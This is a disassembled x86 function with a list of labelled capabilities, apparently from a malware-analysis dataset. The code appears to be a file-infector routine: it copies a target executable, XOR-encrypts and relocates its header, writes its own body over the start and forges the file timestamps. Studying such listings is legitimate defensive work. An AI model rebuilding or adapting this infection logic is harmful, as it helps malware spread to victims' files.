Function at 0x403838
Capabilities:
Check if file exists
Copy file
Delete file
Encode data using xor
Extract resource via kernel32 functions
Get file attributes
Get file size
Move file
Set file attributes
Timestomp file

Disassembly:
enter 0x44, 1
push ebx
push esi
push edi
push 0x40b77a
push 0x403d44
call fcn.00408e78
mov byte [ebp - 0x3d], 1
mov byte [ebp - 0x3e], 0
and dword [0x40c8b8], 0
or edi, 0xffffffff
push 2
push 0
mov eax, dword [ebp + 8]
push eax
call sub.kernel32.dll_LoadLibraryExA
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x48]
test eax, eax
je 0x403949
push 0
push 0x40380d
push 3
mov eax, dword [ebp - 0x48]
push eax
call sub.kernel32.dll_EnumResourceNamesA
mov esi, dword [0x40c8b8]
dec esi
mov eax, dword [ebp - 0x44]
and eax, 0
mov dword [ebp - 0x44], eax
jmp 0x4038e6
push 3
mov eax, dword [ebp - 0x44]
push dword [eax*4 + 0x410d60]
mov eax, dword [ebp - 0x48]
push eax
call sub.kernel32.dll_FindResourceA
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0
je 0x4038df
cmp edi, 0xffffffff
jne 0x4038df
push dword [ebp - 0x24]
mov eax, dword [ebp - 0x48]
push eax
call sub.kernel32.dll_SizeofResource
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0xea8
jg 0x4038df
mov edi, dword [ebp - 0x14]
jmp 0x4038ed
mov eax, dword [ebp - 0x44]
inc eax
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x44]
cmp esi, eax
jge 0x40389f
push 3
mov eax, dword [ebp - 0x44]
push dword [eax*4 + 0x410d60]
mov eax, dword [ebp - 0x48]
push eax
call sub.kernel32.dll_FindResourceA
push eax
mov eax, dword [ebp - 0x48]
push eax
call sub.kernel32.dll_LoadResource
push eax
call sub.kernel32.dll_LockResource
mov dword [ebp - 8], eax
mov esi, edi
dec esi
and dword [ebp - 0x10], 0
jmp 0x40393b
mov ecx, dword [ebp - 8]
mov eax, dword [ebp - 0x10]
mov dl, byte [eax + ecx]
mov ecx, dword [0x40c8e3]
mov eax, dword [ebp - 0x10]
add eax, 0x614
mov byte [eax + ecx], dl
inc dword [ebp - 0x10]
cmp esi, dword [ebp - 0x10]
jge 0x40391e
mov eax, dword [ebp - 0x48]
push eax
call sub.kernel32.dll_FreeLibrary
push dword [0x40c8c8]
mov eax, dword [ebp + 8]
push eax
call fcn.00407e6a
call fcn.004085ec
mov dword [ebp - 0x10], 1
push 0x14
call fcn.004085dc
mov ebx, eax
add ebx, 0x41
mov esi, dword [0x40c8c8]
push dword [0x40c8c8]
call fcn.00407e40
sub eax, dword [ebp - 0x10]
mov byte [eax + esi], bl
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 3
jle 0x403964
push 0
push dword [0x40c8c8]
mov eax, dword [ebp + 8]
push eax
call sub.kernel32.dll_CopyFileA
test eax, eax
jne 0x4039b6
push dword [0x40c8c8]
mov eax, dword [ebp + 8]
push eax
call fcn.00407e6a
jmp 0x4039ba
mov byte [ebp - 0x3e], 1
push dword [0x40c8c8]
call sub.kernel32.dll_GetFileAttributesA
mov dword [ebp - 0x20], eax
push 0x20
push dword [0x40c8c8]
call sub.kernel32.dll_SetFileAttributesA
push 2
push dword [0x40c8c8]
call sub.kernel32.dll__lopen
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x48]
cmp eax, 0xffffffff
jne 0x4039f2
jmp 0x403cb2
lea eax, [ebp - 0x34]
push eax
lea eax, [ebp - 0x3c]
push eax
lea eax, [ebp - 0x2c]
push eax
mov eax, dword [ebp - 0x48]
push eax
call sub.kernel32.dll_GetFileTime
push 0
mov eax, dword [ebp - 0x48]
push eax
call sub.kernel32.dll_GetFileSize
mov dword [0x40c8a0], eax
push 0x7828
push dword [0x40c8e7]
mov eax, dword [ebp - 0x48]
push eax
call sub.kernel32.dll__lread
cmp eax, 0xffffffff
jne 0x403a35
jmp 0x403cb2
push 0x100
call fcn.004085dc
inc eax
mov ecx, dword [0x40c8e7]
mov byte [ecx], al
push 0x100
call fcn.004085dc
inc eax
mov ecx, dword [0x40c8e7]
mov byte [ecx + 1], al
mov dword [ebp - 0x10], 1
push 0x100
call fcn.004085dc
inc eax
mov ecx, dword [ebp - 0x10]
mov byte [ecx + 0x40c8cc], al
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 0xa
jle 0x403a63
mov dword [ebp - 0x10], 1
mov ecx, dword [0x40c8e7]
mov eax, dword [ebp - 0x10]
add eax, 0xbb8
mov bl, byte [eax + ecx]
mov eax, dword [ebp - 0x10]
dec eax
mov ecx, 0xa
cdq
idiv ecx
inc edx
xor bl, byte [edx + 0x40c8cc]
mov ecx, dword [0x40c8e3]
mov eax, dword [ebp - 0x10]
add eax, 0x261
mov byte [eax + ecx], bl
push 0x100
call fcn.004085dc
mov edx, dword [0x40c8e7]
mov ecx, dword [ebp - 0x10]
add ecx, 0xbb8
mov byte [ecx + edx], al
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 0x14
jle 0x403a87
mov eax, dword [ebp - 0x44]
and eax, 0
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x10], 1
mov eax, dword [ebp - 0x10]
movzx ecx, byte [eax + 0x40c8cc]
mov eax, dword [ebp - 0x44]
add ecx, eax
inc ecx
mov dword [ebp - 0x44], ecx
mov eax, dword [ebp - 0x10]
mov dl, byte [eax + 0x40c8cc]
mov ecx, dword [0x40c8e3]
mov eax, dword [ebp - 0x10]
add eax, 0x2ac
mov byte [eax + ecx], dl
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 0xa
jle 0x403af1
and dword [ebp - 0x10], 0
mov ecx, dword [0x40c8e7]
mov eax, dword [ebp - 0x10]
mov bl, byte [eax + ecx]
mov eax, dword [ebp - 0x10]
dec eax
mov ecx, 0xa
cdq
idiv ecx
inc edx
xor bl, byte [edx + 0x40c8cc]
movzx ebx, bl
mov eax, dword [ebp - 0x44]
imul dword [ebp - 0x10]
xor ebx, eax
mov ecx, dword [0x40c8e7]
mov eax, dword [ebp - 0x10]
mov byte [eax + ecx], bl
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 0x7827
jle 0x403b2b
push 0
push dword [0x40c8a0]
mov eax, dword [ebp - 0x48]
push eax
call sub.kernel32.dll__llseek
cmp eax, 0xffffffff
jne 0x403b88
jmp 0x403cb2
push 0x7828
push dword [0x40c8e7]
mov eax, dword [ebp - 0x48]
push eax
call sub.kernel32.dll__lwrite
cmp eax, 0xffffffff
jne 0x403ba6
jmp 0x403cb2
cmp edi, 0xffffffff
jne 0x403bb9
mov eax, dword [0x40c8e3]
mov byte [eax + 0x614], 0
jmp 0x403bc5
mov eax, dword [0x40c8e3]
mov byte [eax + 0x614], 0x28
push 0
push 0
mov eax, dword [ebp - 0x48]
push eax
call sub.kernel32.dll__llseek
cmp eax, 0xffffffff
jne 0x403bdc
jmp 0x403cb2
push 0x7828
push dword [0x40c8e3]
mov eax, dword [ebp - 0x48]
push eax
call sub.kernel32.dll__lwrite
cmp eax, 0xffffffff
jne 0x403bfa
jmp 0x403cb2
push 0xbb8
call fcn.004085dc
add eax, 0x3e8
mov dword [ebp - 0x10], eax
mov esi, dword [ebp - 0x10]
mov eax, dword [ebp - 0x44]
and eax, 0
mov dword [ebp - 0x44], eax
jmp 0x403c38
push 0xfe
call fcn.004085dc
inc eax
mov edx, dword [0x40c8e7]
mov ecx, dword [ebp - 0x44]
mov byte [ecx + edx], al
mov eax, dword [ebp - 0x44]
inc eax
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x44]
cmp esi, eax
jge 0x403c1a
push 2
push 0
mov eax, dword [ebp - 0x48]
push eax
call sub.kernel32.dll__llseek
cmp eax, 0xffffffff
jne 0x403c53
jmp 0x403cb2
push dword [ebp - 0x10]
push dword [0x40c8e7]
mov eax, dword [ebp - 0x48]
push eax
call sub.kernel32.dll__lwrite
cmp eax, 0xffffffff
jne 0x403c6c
jmp 0x403cb2
push 0
push 0x300
mov eax, dword [ebp - 0x48]
push eax
call sub.kernel32.dll__llseek
cmp eax, 0xffffffff
jne 0x403c83
jmp 0x403cb2
push 2
lea eax, [ebp - 0x10]
push eax
mov eax, dword [ebp - 0x48]
push eax
call sub.kernel32.dll__lwrite
cmp eax, 0xffffffff
jne 0x403c99
jmp 0x403cb2
lea eax, [ebp - 0x34]
push eax
lea eax, [ebp - 0x3c]
push eax
lea eax, [ebp - 0x2c]
push eax
mov eax, dword [ebp - 0x48]
push eax
call sub.kernel32.dll_SetFileTime
mov byte [ebp - 0x3d], 0
mov eax, dword [ebp - 0x48]
push eax
call sub.kernel32.dll__lclose
cmp byte [ebp - 0x3d], 0
je 0x403cd2
cmp byte [ebp - 0x3e], 0
je 0x403cd2
push dword [0x40c8c8]
call sub.kernel32.dll_DeleteFileA
cmp byte [ebp - 0x3e], 0
je 0x403d0a
push 0x20
mov eax, dword [ebp + 8]
push eax
call sub.kernel32.dll_SetFileAttributesA
mov eax, dword [ebp + 8]
push eax
call sub.kernel32.dll_DeleteFileA
mov eax, dword [ebp + 8]
push eax
push dword [0x40c8c8]
call sub.kernel32.dll_MoveFileA
test eax, eax
jne 0x403d0a
push dword [0x40c8c8]
call sub.kernel32.dll_DeleteFileA
push dword [ebp - 0x20]
mov eax, dword [ebp + 8]
push eax
call sub.kernel32.dll_SetFileAttributesA
cmp byte [ebp - 0x3d], 0
jne 0x403d22
inc dword [0x40c8b0]
push 0x3a98
call sub.kernel32.dll_Sleep
xor eax, eax
pop dword fs:[eax]
add esp, 8
push 0x403d4b
push 0x40b77a
call fcn.00408ecc
ret